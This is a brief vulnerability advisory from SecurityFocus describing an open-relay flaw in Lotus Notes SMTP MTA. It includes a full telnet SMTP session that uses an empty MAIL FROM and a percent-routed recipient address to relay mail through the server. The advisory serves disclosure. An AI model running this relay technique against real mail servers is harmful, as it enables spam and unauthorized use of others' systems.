source: https://www.securityfocus.com/bid/487/info
Lotus Notes SMTP MTA is susceptible to being used as a mail relay for SPAM or other unsolicited email. Connecting to the mail server (tcp25) and issuing a 'mail from' command with <> as the data may allow an unauthorized user to relay email via this server.
telnet server 25
Connected to 192.168.1.1.
Escape character is '^]'.
220 company.com Lotus SMTP MTA Service Ready
HELO sample.domain
250 company.com
MAIL FROM:<>
250 OK
RCPT TO:<recipient%[email protected]>
250 OK
DATA
From: ... etc
text of message
.
250 Message received OK.
quit
221 GoodBye Data
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